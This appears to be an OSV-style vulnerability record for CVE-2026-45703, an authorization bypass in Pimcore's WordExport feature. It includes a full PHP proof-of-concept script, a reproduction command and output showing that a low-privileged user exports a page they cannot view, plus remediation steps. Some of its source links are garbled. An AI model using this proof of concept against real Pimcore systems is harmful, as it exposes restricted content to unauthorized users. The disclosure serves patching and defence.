{"id":"CVE-2026-45703","aliases":["GHSA-332x-r494-54fq"],"url":"https://o3.security/vulnerability/CVE-2026-45703","summary":"Pimcore: WordExport Authorization Bypass for Unauthorized Document Export","details":"### Summary\n\nThe `WordExport` export flow only checks whether the current backend user has the feature permission `word_export`. It does not verify access rights on the target element itself.  \nAs a result, a low-privileged backend user can export document content even when the user does not have `view` permission on that document.\n\nIn the local Docker reproduction, a low-privileged user successfully exported sensitive content from a page the user was not allowed to view:\n\n- `POC-WORDEXPORT-TITLE`\n- `POC-WORDEXPORT-DESC`\n\n### Root Cause\n\nThe controller only performs a feature-level permission check before starting the export flow:\n\n- [[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L41)](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L44)#L41)\n- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L56)#L44)\n\nIt then directly resolves the target element from attacker-controlled `type/id` input:\n\n- [[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L58)](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L56)\n- [[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L72)](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L113)#L58)\n\nFor document-like elements such as `Page` and `Snippet`, it renders content in an admin context:\n\n- [[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L114)](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L72)\n- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L113)\n- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L114)\n\nNo object-level authorization check such as `isAllowed('view')` is enforced on the target element.\n\n### Affected Scope\n\nBased on the source code, the following element types may be affected:\n\n- `page`\n- `snippet`\n- `email`\n- `object`\n\nFor page-like documents, the `pimcore_admin = true` rendering context may expose additional backend-visible content.\n\n### Preconditions\n\n- The attacker is an authenticated backend user\n- The attacker has the `word_export` permission\n- The attacker does not have `view` permission on the target document\n\n### Reproduction Environment\n\n- Reproduction root: `pimcore-12.3.3-repro`\n- Standalone PoC script: [[poc_wordexport.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3-repro/tools/poc_wordexport.php)](pimcore-12.3.3-repro/tools/poc_wordexport.php)\n\n```php\n<?php\ndeclare(strict_types=1);\n\nuse Pimcore\\Bundle\\WordExportBundle\\Controller\\TranslationController as WordExportController;\nuse Pimcore\\Controller\\UserAwareController;\nuse Pimcore\\Model\\Document\\Page;\nuse Pimcore\\Model\\User;\nuse Pimcore\\Security\\User\\TokenStorageUserResolver;\nuse Pimcore\\Security\\User\\User as SecurityUser;\nuse Pimcore\\Serializer\\Serializer as PimcoreSerializer;\nuse Pimcore\\Tool\\Authentication;\nuse Symfony\\Component\\DependencyInjection\\ContainerInterface;\nuse Symfony\\Component\\Filesystem\\Filesystem;\nuse Symfony\\Component\\HttpFoundation\\Request;\nuse Symfony\\Component\\HttpFoundation\\RequestStack;\nuse Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken;\nuse Symfony\\Component\\Security\\Core\\Authentication\\Token\\Storage\\TokenStorage;\n\nrequire dirname(__DIR__) . '/vendor/autoload.php';\n\ndefine('PIMCORE_PROJECT_ROOT', dirname(__DIR__));\n\ntry {\n    \\Pimcore\\Bootstrap::bootstrap();\n\n    $kernel = new \\App\\Kernel('dev', true);\n    \\Pimcore::setKernel($kernel);\n    $kernel->boot();\n\n    $container = $kernel->getContainer();\n\n    /** @var RequestStack $requestStack */\n    $requestStack = getService($container, [\n        RequestStack::class,\n        'request_stack',\n    ]);\n\n    $admin = User::getByName('admin');\n    if (!$admin instanceof User) {\n        fail('admin user is missing');\n    }\n\n    $auditor = User::getByName('auditor_wordexport');\n    if (!$auditor instanceof User) {\n        $auditor = new User();\n        $auditor->setParentId(0);\n        $auditor->setName('auditor_wordexport');\n    }\n\n    $auditor->setAdmin(false);\n    $auditor->setActive(true);\n    $auditor->setPassword(Authentication::getPasswordHash('auditor_wordexport', 'auditor-pass'));\n    $auditor->setPermissions(['word_export']);\n    $auditor->setRoles([]);\n    $auditor->setWorkspacesDocument([]);\n    $auditor->setWorkspacesAsset([]);\n    $auditor->setWorkspacesObject([]);\n    $auditor->save();\n\n    $page = Page::getByPath('/poc-wordexport-secret-page');\n    if (!$page instanceof Page) {\n        $page = new Page();\n        $page->setParentId(1);\n        $page->setKey('poc-wordexport-secret-page');\n    }\n\n    $page->setPublished(true);\n    $page->setController('App\\\\Controller\\\\DefaultController::defaultAction');\n    $page->setTemplate('default/default.html.twig');\n    $page->setTitle('POC-WORDEXPORT-TITLE');\n    $page->setDescription('POC-WORDEXPORT-DESC');\n    $page->setProperty('language', 'text', 'en', false, true);\n    $page->setUserOwner($admin->getId());\n    $page->setUserModification($admin->getId());\n    $page->save();\n\n    $canViewPage = $page->getDao()->isAllowed('view', $auditor);\n\n    $tokenResolver = buildTokenResolver($auditor);\n    $controller = wireController(new WordExportController(), $container, $tokenResolver);\n\n    $exportId = 'wordexportpoc1';\n    $exportRequest = new Request([], [\n        'id' => $exportId,\n        'data' => json_encode([\n            ['type' => 'document', 'id' => $page->getId()],\n        ], JSON_THROW_ON_ERROR),\n        'source' => 'en',\n    ]);\n\n    $requestStack->push($exportRequest);\n    $controller->wordExportAction($exportRequest, new Filesystem());\n    $requestStack->pop();\n\n    $downloadRequest = new Request(['id' => $exportId]);\n    $requestStack->push($downloadRequest);\n    $downloadResponse = $controller->wordExportDownloadAction($downloadRequest);\n    $requestStack->pop();\n\n    $wordContent = (string) $downloadResponse->getContent();\n\n    echo json_encode([\n        'vulnerability' => 'wordexport_authorization_bypass',\n        'user' => [\n            'id' => $auditor->getId(),\n            'name' => $auditor->getName(),\n            'permissions' => $auditor->getPermissions(),\n        ],\n        'target_page' => [\n            'id' => $page->getId(),\n            'path' => $page->getFullPath(),\n            'title' => $page->getTitle(),\n            'description' => $page->getDescription(),\n            'user_can_view_page' => $canViewPage,\n        ],\n        'result' => [\n            'download_contains_title' => str_contains($wordContent, 'POC-WORDEXPORT-TITLE'),\n            'download_contains_description' => str_contains($wordContent, 'POC-WORDEXPORT-DESC'),\n        ],\n    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;\n} catch (Throwable $e) {\n    fail(sprintf(\n        '%s: %s in %s:%d%s',\n        $e::class,\n        $e->getMessage(),\n        $e->getFile(),\n        $e->getLine(),\n        $e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''\n    ));\n}\n\nfunction wireController(\n    UserAwareController $controller,\n    ContainerInterface $container,\n    TokenStorageUserResolver $tokenResolver\n): UserAwareController\n{\n    $controller->setContainer($container);\n    $controller->setTokenResolver($tokenResolver);\n\n    if (method_exists($controller, 'setPimcoreSerializer')) {\n        /** @var PimcoreSerializer $serializer */\n        $serializer = getService($container, [\n            PimcoreSerializer::class,\n            'Pimcore\\\\Serializer\\\\Serializer',\n        ]);\n        $controller->setPimcoreSerializer($serializer);\n    }\n\n    return $controller;\n}\n\nfunction buildTokenResolver(User $user): TokenStorageUserResolver\n{\n    $tokenStorage = new TokenStorage();\n    $proxyUser = new SecurityUser($user);\n    $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());\n    $tokenStorage->setToken($token);\n\n    return new TokenStorageUserResolver($tokenStorage);\n}\n\nfunction getService(ContainerInterface $container, array $ids): mixed\n{\n    foreach ($ids as $id) {\n        try {\n            if ($container->has($id)) {\n                return $container->get($id);\n            }\n        } catch (Throwable) {\n        }\n    }\n\n    fail('Unable to resolve service: ' . implode(', ', $ids));\n}\n\nfunction fail(string $message): never\n{\n    fwrite(STDERR, $message . PHP_EOL);\n    exit(1);\n}\n\n```\n\n\n\n### Reproduction Steps\n\n1. Create a low-privileged user named `auditor_wordexport` with only the `word_export` permission and no document workspace permissions.\n2. Create a test page at `/poc-wordexport-secret-page` containing sensitive values:\n   - `title = POC-WORDEXPORT-TITLE`\n   - `description = POC-WORDEXPORT-DESC`\n3. Verify that the user does not have `view` permission on that page.\n4. Execute `wordExportAction()` and `wordExportDownloadAction()` as that user.\n5. Check whether the exported HTML contains the sensitive values.\n\nReproduction command:\n\n```bash\ncd pimcore-12.3.3-repro\ndocker compose exec -T php php tools/poc_wordexport.php\n```\n\n### Reproduction Result\n\nRelevant PoC output:\n\n```json\n{\n  \"vulnerability\": \"wordexport_authorization_bypass\",\n  \"user\": {\n    \"name\": \"auditor_wordexport\",\n    \"permissions\": [\n      \"word_export\"\n    ]\n  },\n  \"target_page\": {\n    \"path\": \"/poc-wordexport-secret-page\",\n    \"title\": \"POC-WORDEXPORT-TITLE\",\n    \"description\": \"POC-WORDEXPORT-DESC\",\n    \"user_can_view_page\": false\n  },\n  \"result\": {\n    \"download_contains_title\": true,\n    \"download_contains_description\": true\n  }\n}\n```\n\nThis shows that:\n\n- The user cannot view the target page\n- The exported file still contains the page's sensitive content\n\nThis confirms that the issue is practically exploitable.\n\n### Security Impact\n\n- Unauthorized disclosure of structured page fields\n- Unauthorized export of restricted backend content\n- Potential exposure of unpublished or otherwise restricted content\n- Lateral data access by low-privileged backend accounts\n\n### Remediation\n\n1. Perform object-level authorization immediately after resolving the element from `type/id`.\n2. Require at least `view` permission on the target element.\n3. Apply consistent authorization checks across `page`, `snippet`, `email`, and `object`.\n4. Bind export creation and export download to the requesting user or an equivalent authorization context.\n5. Add regression tests to ensure that users with `word_export` but without element `view` permission cannot export content.","published":"2026-07-17T18:52:44.530Z","modified":"2026-08-12T03:51:42.033197303Z","cvss":{"score":6.4,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L"},"epss":{"score":0.00317,"percentile":0.24739,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"pimcore/pimcore","fixedVersion":"12.3.7"},{"ecosystem":"Packagist","name":"pimcore/pimcore","fixedVersion":"11.5.17"},{"ecosystem":"Packagist","name":"pimcore/pimcore","fixedVersion":"2026.1.3"}],"fix":{"url":"https://github.com/pimcore/pimcore/pull/19112","label":"pimcore/pimcore#19112"},"references":[{"type":"WEB","url":"https://github.com/pimcore/pimcore/releases/tag/v12.3.7"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45703.json"},{"type":"ADVISORY","url":"https://github.com/pimcore/pimcore/security/advisories/GHSA-332x-r494-54fq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45703"},{"type":"WEB","url":"https://github.com/pimcore/pimcore/pull/19112"},{"type":"WEB","url":"https://github.com/pimcore/pimcore/commit/0ce2232b6f92c79d0ac244e95e21f55c37456ef1"},{"type":"PACKAGE","url":"https://github.com/pimcore/pimcore"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:42.033197303Z"}}